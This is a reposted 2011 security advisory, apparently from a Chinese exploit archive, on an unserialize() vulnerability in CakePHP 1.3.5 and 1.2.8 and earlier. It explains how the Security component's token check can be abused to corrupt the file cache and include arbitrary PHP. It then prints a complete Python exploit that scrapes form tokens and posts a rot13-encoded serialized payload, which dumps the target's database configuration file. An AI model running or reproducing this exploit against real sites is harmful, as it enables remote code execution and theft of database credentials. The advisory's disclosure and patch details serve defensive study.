首页 | 安全文章 | 安全工具 | Exploits | 本站原创 | 关于我们 | 网站地图 | 安全论坛
  当前位置:主页>安全文章>文章资料>Exploits>文章内容
CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability
来源:felix |at| malloc.im 作者:felix 发布时间:2011-01-19  

Source:  http://securityreason.com/securityalert/8026

CakePHP <= 1.3.5 / 1.2.8 unserialize() Vulnerability
felix |at| malloc.im
===========================================================================
====

Overview:


"CakePHP is a rapid development framework for PHP that provides an
extensible
architecture for developing, maintaining, and deploying applications.
Using
commonly known design patterns like MVC and ORM within the convention over
configuration paradigm, CakePHP reduces development costs and helps
developers
write less code." - cakephp.org


CakePHP is vulnerable to a file inclusion attack because of its use of the
"unserialize()" function on unchecked user input. This makes it possible
to inject arbitary objects into the scope.

Details:

CakePHP uses the following function in the Security component
to protect against XSRF attacks with POST Requests:

function _validatePost(&$controller) {
-- snip --
$check = $controller->data;
$token = urldecode($check['_Token']['fields']);


if (strpos($token, ':')) {
list($token, $locked) = explode(':', $token, 2);
}


$locked = unserialize(str_rot13($locked));
-- snip --

The $check array contains our POST data and $locked is
a simple (rot-13 obfuscated) serialized string, which is completely
under our control.

PHP5 introduces a destructor with the "__destruct" method. Each object
will execute its __destruct method at the end of its lifetime and we can
use this to turn an unchecked unserialize() call in an useful exploit.
(See Stefan Essers talk @
http://www.suspekt.org/downloads/POC2009-ShockingNewsInPHPExploitation.pdf
for more information)

CakePHP defines the App Class with the following destruct method:

function __destruct() {
if ($this->__cache) {
$core = App::core('cake');
unset($this->__paths[rtrim($core[0], DS)]);
Cache::write('dir_map', array_filter($this->__paths),
'_cake_core_');
Cache::write('file_map', array_filter($this->__map),
'_cake_core_');
Cache::write('object_map', $this->__objects, '_cake_core_');
}
}

As we can see, this method can be abused by an manipulated object to write
arbitary values into the _cake_core Cache.

The most interesting key to corrupt is the file_map. It provides the
mapping between Classes and PHP Files and is used to load additional
Classes at runtime.
The real code for the loading of classes is a bit complicated but it all
boils down to the following code in the __load method inside the App
class:

if (file_exists($file)) {
if (!$this->return) {
require($file);

$this->__loaded[$file] = true;
}
return true;

This means we can execute arbitary files on the local filesystem.
CakePHP uses a file based caching system in its standard configuration,
and the cache data is written in serialized form to a known location.

We can use this information to create a create a manipulated App object
that executes our PHP Payload:

$x=new App();
$x->__cache=1;
$x->__map=array("Core" => array("Router"
=> "../tmp/cache/persistent/cake_core_file_map"),
"Foo" => "<? phpinfo(); exit(); ?>");
$x->__paths=array();
$x->__objects=array();
echo serialize($x);


POC:

See http://malloc.im/burnedcake.py for a working POC exploit.
PoC also shown below.

Patch:

This bug was patched in Version 1.3.6 and 1.2.9

#!/usr/bin/python
#
# burnedCake.py - CakePHP <= 1.3.5 / 1.2.8 Cache Corruption Exploit
# written by felix@malloc.im
#
# This code exploits a unserialize() vulnerability in the CakePHP security
# component. See http://malloc.im/CakePHP-unserialize.txt for a detailed
# analysis of the vulnerability.
#
# The exploit should work against every CakePHP based Application, that
# uses POST forms with security tokens and hasn't changed the Cache
# configuration (file-system caching is standard). Exploiting
# other caching configurations is possible but not as elegant.
#
# This POC will output the database config file of the running CakePHP Application,
# other payloads are easily possibe with a changed PHP Code.

from optparse import OptionParser
from urlparse import urlparse,urljoin
import urllib2
import urllib
import re

def request(url,data="",headers={},debug=0):
    if (data==""):
        request = urllib2.Request(url=url,headers=headers)
    else:
        request = urllib2.Request(url=url,headers=headers,data=data)
       
    debug_handler = urllib2.HTTPHandler(debuglevel = debug)
    opener = urllib2.build_opener(debug_handler)
    response=opener.open(request)
    return response


if __name__=="__main__":

    parser = OptionParser(usage="usage: %prog [options] url")
    parser.add_option("-p", "--post", dest="post",
                      help="additional post content as urlencoded string")
    parser.add_option("-v", action="store_true", dest="verbose",
                      help="verbose mode")

    (options, args) = parser.parse_args()
    if len(args)!=1:
        parser.error("wrong number of arguments")
    if options.verbose:
        debug=1
    else:
        debug=0
    if not options.post:
        options.post=""
    url=urlparse(args[0])
    html=request(url.geturl(),debug=debug ).read()

    try:
        key=re.search("data\[_Token\]\[key\]\" value=\"(.*?)\"",html).group(1)
        path=re.search('method="post" action="(.*?)"',html).group(1)
        fields=re.search('data\[_Token\]\[fields\]" value="([0-9a-f]{32}).*?"',html).group(1)
    except:
        print "[x] Regex failed! :("
        exit()

    # Add additional POST variables with the -p option, if they are needed for the
    # Form to be accepted. Example: Croogo Admin Panel Login
    if options.post:
        options.post="&"+options.post

    # This is a rot13 "encrypted" serialized CakePHP Object
    # This object will write 2 values in the cake_core_file_map Cache:
    # The PHP payload (readfile(....); exit();) and a new value
    # for the Core/Router entry that shows to the Cache representation
    # on the filesystem (tmp/cache/persistent_cake_core_filemap).
    # CakePHP tries to include the Router class and our payload
    # get's executed ==> Owned. (See the advisory for more details)

    payload='%3AB:3:"Ncc":4:{f:7:"__pnpur";f:3:"onz";f:5:"__znc";n:2:{f:4'+\
    ':"Pber";n:1:{f:6:"Ebhgre";f:42:"../gzc/pnpur/crefvfgrag/pnxr_pber_sv'+\
    'yr_znc";}f:3:"Sbb";f:49:"<? ernqsvyr(\'../pbasvt/qngnonfr.cuc\'); rkv'+\
    'g(); ?>";}f:7:"__cnguf";n:0:{}f:9:"__bowrpgf";n:0:{}}'

   
    data={ "_method" : "POST", "data[_Token][key]" : key,
           "data[_Token][fields]" : fields+payload }

    url=urljoin(url.geturl(),path)

    # We execute the same request twice.    
    # Our manipulated Cache write in the first request will be overwritten by
    # the legitimate App Object. The second request won't trigger a normal Cache
    # write again and our payload can get planted.
    request(url,urllib.urlencode(data)+options.post,debug=debug).read()
    request(url,urllib.urlencode(data)+options.post,debug=debug).read()
    print request(url,debug=debug).read()

 


 
[推荐] [评论(0条)] [返回顶部] [打印本页] [关闭窗口]  
匿名评论
评论内容:(不能超过250字,需审核后才会公布,请自觉遵守互联网相关政策法规。
 §最新评论:
  热点文章
·CVE-2012-0217 Intel sysret exp
·Linux Kernel 2.6.32 Local Root
·Array Networks vxAG / xAPV Pri
·Novell NetIQ Privileged User M
·Array Networks vAPV / vxAG Cod
·Excel SLYK Format Parsing Buff
·PhpInclude.Worm - PHP Scripts
·Apache 2.2.0 - 2.2.11 Remote e
·VideoScript 3.0 <= 4.0.1.50 Of
·Yahoo! Messenger Webcam 8.1 Ac
·Family Connections <= 1.8.2 Re
·Joomla Component EasyBook 1.1
  相关文章
·A-PDF All to MP3 Converter 2.0
·Google Chrome v8.0.552.237 add
·Mini-Stream RM-MP3 Converter B
·Novell iPrint <= 5.52 ActiveX
·ALZip 8.12.0.3 Buffer Overflow
·Look n stop 0day Local Dos
·ActiveX UserManager 2.03 Buffe
·Panda Global Protection 2010 l
·Kingsoft AntiVirus 2011 SP5.2
·Panda Global Protection 2010 l
·MeshCMS v3.5 Remote Code Execu
·BSD x86 connect back Shellcode
  推荐广告
CopyRight © 2002-2022 VFocuS.Net All Rights Reserved